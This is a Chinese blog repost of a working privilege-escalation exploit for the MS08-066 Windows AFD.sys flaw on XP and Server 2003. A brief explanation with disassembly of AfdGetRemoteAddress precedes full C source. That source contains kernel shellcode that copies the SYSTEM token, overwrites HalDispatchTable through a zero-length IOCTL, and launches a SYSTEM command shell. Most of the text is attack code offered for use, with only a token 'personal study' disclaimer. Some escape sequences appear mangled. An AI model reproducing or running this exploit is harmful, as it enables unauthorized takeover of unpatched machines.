MS08-066 Microsoft Ancillary Function Driver Elevation of Privilege exploit

 
from http://hi.baidu.com/vessial

这个漏洞跟MS08-025类似,由于ProbeForWrite对0字节长度地址不作检测,造成可以写任何地址,
SWI已经对此作了比较详细的说明,大家可以看这儿
http://blogs.technet.com/swi/archive...mode-data.aspx
简单描述这个漏洞
PAGE:000174C3 ; int __stdcall AfdGetRemoteAddress(int, int, char, int, int, PVOID Address, SIZE_T Length, int)
PAGE:000174C3 _AfdGetRemoteAddress@32 proc near      ; DATA XREF: .data:0001432C o
PAGE:000174C3
PAGE:000174C3 var_24          = dword ptr -24h
PAGE:000174C3 var_20          = dword ptr -20h
PAGE:000174C3 var_1C          = dword ptr -1Ch
PAGE:000174C3 ms_exc          = CPPEH_RECORD ptr -18h
PAGE:000174C3 arg_0          = dword ptr 8
PAGE:000174C3 arg_8          = byte ptr 10h
PAGE:000174C3 Address        = dword ptr 1Ch
PAGE:000174C3 Length          = dword ptr 20h
PAGE:000174C3 arg_1C          = dword ptr 24h
PAGE:000174C3
PAGE:000174C3 ; FUNCTION CHUNK AT PAGE:00018F79 SIZE 0000000C BYTES
PAGE:000174C3
PAGE:000174C3                push    14h
PAGE:000174C5                push    offset stru_137E0
PAGE:000174CA                call    __SEH_prolog
PAGE:000174CF                mov    eax, [ebp+arg_0]
PAGE:000174D2                mov    ebx, [eax+0Ch]
PAGE:000174D5                mov    [ebp+var_24], ebx
PAGE:000174D8                xor    esi, esi
PAGE:000174DA                mov    eax, [ebp+arg_1C]
PAGE:000174DD                mov    [eax], esi
PAGE:000174DF                push    ebx
PAGE:000174E0                call    _AfdLockEndpointContext@4 ; AfdLockEndpointContext(x)
PAGE:000174E5                mov    [ebp+var_20], eax
PAGE:000174E8                cmp    eax, esi
PAGE:000174EA                jz      short loc_1756A
PAGE:000174EC                cmp    word ptr [ebx], 0AFD2h
PAGE:000174F1                jnz    short loc_1756A
PAGE:000174F3                cmp    byte ptr [ebx+2], 3
PAGE:000174F7                jnz    short loc_1756A
PAGE:000174F9                movzx  eax, word ptr [ebx+5Ah]
PAGE:000174FD                movzx  ecx, word ptr [ebx+58h]
PAGE:00017501                add    ecx, eax
PAGE:00017503                cmp    ecx, [ebx+74h]
PAGE:00017506                ja      short loc_1756A
PAGE:00017508                cmp    [ebp+Length], eax/
PAGE:0001750B                jb      loc_18F79
PAGE:00017511                mov    [ebp+Length], eax
PAGE:00017514                mov    [ebp+var_1C], esi
PAGE:00017517
PAGE:00017517 loc_17517:                              ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+1ABD j
PAGE:00017517                mov    [ebp+ms_exc.disabled], esi
PAGE:0001751A                cmp    [ebp+arg_8], 0
PAGE:0001751E                jz      short loc_1752E
PAGE:00017520                push    1              ; Alignment //Length为Outbuffer的长度
PAGE:00017522                push    [ebp+Length]    ; Length //当这个长度为0时,对下面的地址不作检测
PAGE:00017525                push    [ebp+Address]  ; Address//因为这个地址可以我们手动构造,然后可写
PAGE:00017528                call    ds:__imp__ProbeForWrite@12 ; ProbeForWrite(x,x,x)
PAGE:0001752E
PAGE:0001752E loc_1752E:                              ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+5B j
PAGE:0001752E                movzx  ecx, word ptr [ebx+5Ah]
PAGE:00017532                movzx  esi, word ptr [ebx+58h]
PAGE:00017536                add    esi, [ebp+var_20]
PAGE:00017539                mov    edi, [ebp+Address]
PAGE:0001753C                mov    eax, ecx
PAGE:0001753E                shr    ecx, 2
PAGE:00017541                rep movsd
PAGE:00017543                mov    ecx, eax
PAGE:00017545                and    ecx, 3
PAGE:00017548                rep movsb
PAGE:0001754A                mov    eax, [ebx+74h]
PAGE:0001754D                mov    ecx, [ebp+arg_1C]
PAGE:00017550                mov    [ecx], eax
PAGE:00017552                or      [ebp+ms_exc.disabled], 0FFFFFFFFh
PAGE:00017556
PAGE:00017556 loc_17556:                              ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+AE j
PAGE:00017556                                        ; sub_18F9C+A j
PAGE:00017556                push    [ebp+var_20]
PAGE:00017559                push    ebx
PAGE:0001755A                call    _AfdUnlockEndpointContext@8 ; AfdUnlockEndpointContext(x,x)
PAGE:0001755F                mov    eax, [ebp+var_1C]
PAGE:00017562                call    __SEH_epilog

exploit 代码如下
运行后会得到了一个cmd的system权限的shell
///
///
 
    Microsoft Windows AFD.sys MS08-066
    Privilege Escalation Exploit XP & 2003
    ---------------------------------------------
    This code can only be used for personal study
    and research purposes on odd days.
    ---------------------------------------------

#include <stdio.h>
#include <Winsock2.h>
#include <ntsecapi.h>

#pragma comment (lib, "ws2_32.lib")

#define AFD_GET_REMOTE_ADDRESS 0x1203f

typedef enum _KPROFILE_SOURCE {


    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource,
                                          PULONG          Interval );

typedef NTSTATUS (WINAPI *PNTALLOCATE)(    IN HANDLE              ProcessHandle,
                                        IN OUT PVOID            *BaseAddress,
                                        IN ULONG                ZeroBits,
                                        IN OUT PULONG          RegionSize,
                                        IN ULONG                AllocationType,
                                        IN ULONG                Protect );

int Callback_Overview()
{
    printf("/n");
    printf("=================================================    /n");
    printf("    Microsoft Windows AFD.sys (MS08-066)        /n");
    printf("        Privilege Escalation Exploit    /n");
    printf("    XP && 2003/n");
    printf("=================================================    /n");
    printf(" Orginal Author Ruben Santamarta/n/n");
    printf(" Modified by vessial/n/n");
    printf("+ References:/n");
    printf(" www.microsoft.com/technet/security/bulletin/ms08-oct.mspx/n");
    printf(" www.reversemode.com/n/n");
    printf(" hi.baidu.com/vessial/n/n");
    return 1;
}

OSVERSIONINFOEX OsVersionInfo;

_declspec(naked) int ShellCode()
{

    if ( OsVersionInfo.dwMinorVersion == 1 ) {

        __asm {

            nop
                nop
                nop
                nop
                nop
                nop

                mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
                Mov eax,[eax]

                mov esi,[eax+0x220]
                mov eax,esi

searchXp:

                mov eax,[eax+0x88]
                sub eax,0x88
                mov edx,[eax+0x84]
                cmp edx,0x4 // Find System Process
                jne searchXp

                mov eax,[eax+0xc8] // 获取system进程的token
                mov [esi+0xc8],eax // 修改当前进程的token

                ret 8

        }
    }
    if ( OsVersionInfo.dwMinorVersion == 2 ) {

        __asm {

            nop
            nop
            nop
            nop
            nop
            nop
            mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
            Mov eax,[eax]
            mov esi,[eax+0x220]
            mov eax,esi

search2003:
            mov eax,[eax+0x98]
            sub eax,0x98
            mov edx,[eax+0x94]
            cmp edx,0x4 // Find System Process
            jne search2003
            mov eax,[eax+0xd8] // 获取system进程的token
            mov [esi+0xd8],eax // 修改当前进程的token
            ret 8

        }
    }

}

unsigned char trapline[]="/x68/x00/x00/x00/x00/xc3";

int main( )
{
    PNTQUERYINTERVAL    NtQueryIntervalProfile;
    KPROFILE_SOURCE    stProfile = ProfileTotalIssues;
    PNTALLOCATE        NtAllocateVirtualMemory;
 
    WSADATA ws;
 
    SOCKET tcp_socket;
    struct sockaddr_in peer;
 
 
    char inBuff[0x40];
    char outBuff[0x40];
    char szNtos[MAX_PATH] = {0};
 
    DWORD junk ,i;
    DWORD        dwShellSize = 0x1000;

    ULONG_PTR    HalDispatchTable;
    ULONG_PTR    BaseNt = 0x804d8000; //kernel loaded address,so you can dynamic get this:),but i am a lazy guy
    ULONG_PTR    result;
    LPVOID addr = (LPVOID)0x01000000;
 

    HMODULE        hKernel;


    STARTUPINFOA                stStartup;
  PROCESS_INFORMATION            pi;
    WSAStartup(0x0202,&ws);
 
    system("cls");
    Callback_Overview();

    / Dynamic Stuff

    RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
    OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

  if ( OsVersionInfo.dwMajorVersion != 5 ) {

      printf( "Not NT5 system/n" );
      ExitProcess( 0 );
  }

    hKernel = LoadLibraryExA("ntkrnlpa.exe",0,1); 
 
    HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel,
                                                "HalDispatchTable");

    if( !HalDispatchTable )
    {
        printf("[!!] HalDispatchTable not found/n");
        return FALSE;
    }

    HalDispatchTable -= ( ULONG_PTR )hKernel;
    HalDispatchTable += BaseNt;

    printf("[+] HalDispatchTable found    /t/t/t [ 0x%p ]/n",HalDispatchTable);
 
    printf("[+] NtQueryIntervalProfile ");

    NtQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"),
                                                                                    "NtQueryIntervalProfile");
    if( !NtQueryIntervalProfile )
    {
        printf("[!!] Unable to resolve NtQueryIntervalProfile/n");
        return FALSE;
    }
    printf( "/t/t/t [ 0x%p ]/n",NtQueryIntervalProfile );
 
    printf("[+] NtAllocateVirtualMemory");
    NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle(    "ntdll.dll"),
                                                                            "NtAllocateVirtualMemory");
 
    if( !NtAllocateVirtualMemory )
    {
        printf("[!!] Unable to resolve NtAllocateVirtualMemory/n");
        return FALSE;
    }

    printf( "/t/t/t [ 0x%p ]/n",NtAllocateVirtualMemory );
    printf("/n[+] Allocating memory at [ 0x%p ].../n",addr);

    NtAllocateVirtualMemory(    INVALID_HANDLE_VALUE,
                                &addr,
                                0,
                                &dwShellSize,
                                MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                                PAGE_EXECUTE_READWRITE );

    if( (ULONG_PTR)addr != 0x01000000 )
    {
        printf("/n[!!] Error allocating memory/n");
        return 0;
    }
    memset(addr, 0x90, dwShellSize);
    memcpy((BYTE*)((BYTE*)addr+0x100), &trapline,sizeof(trapline)-1);
    *(unsigned long*)((BYTE*)addr+0x101) = (ULONG_PTR)ShellCode;
 
    memset(inBuff,0x90,sizeof(inBuff));
    memset(outBuff,0x90,sizeof(outBuff));


    peer.sin_family = AF_INET;
    peer.sin_port = htons( 0x01bd );//connecting localhost 445 port,if this port not open ,you can netstat -an your host ,which one is listen
    peer.sin_addr.s_addr = inet_addr( "127.0.0.1" ); //

    tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
 

    if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
    {
        printf("/n[!!] You should not see this! /n/n");
        exit(0);
    }

    printf("[+] Sending IOCTL.../n");

    DeviceIoControl((HANDLE)tcp_socket,
                    AFD_GET_REMOTE_ADDRESS,
                    (LPVOID)inBuff,sizeof(inBuff),
                    (LPVOID)outBuff,0,
                    &junk,
                    NULL);
    printf("/n");
    printf("[+] Received Bytes from Peer Address:/n/t-> ");
    for( i = 0; i < sizeof( peer ) ; i++)
    {
        printf(" %02X ",(unsigned char)outBuff );
    }

    printf("/n/n");
 
    printf("[+] Overwriting HalDispatchTable with those bytes...");
 
    DeviceIoControl((HANDLE)tcp_socket,
                    AFD_GET_REMOTE_ADDRESS,
                    (LPVOID)inBuff,sizeof(inBuff),
                    (LPVOID)HalDispatchTable,0,
                    &junk,
                    NULL);
    printf("/n/n");

    printf("[+] Executing shellcode...");
 
    NtQueryIntervalProfile(stProfile,&result);
    GetStartupInfo( &stStartup );

  CreateProcess( NULL,
      "cmd.exe",
      NULL,
      NULL,
      TRUE,
      NULL,
      NULL,
      NULL,
      &stStartup,
      &pi );

    printf("[ OK ]/n");
 
    printf("[+] Done.../n/n");

    return TRUE;

}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值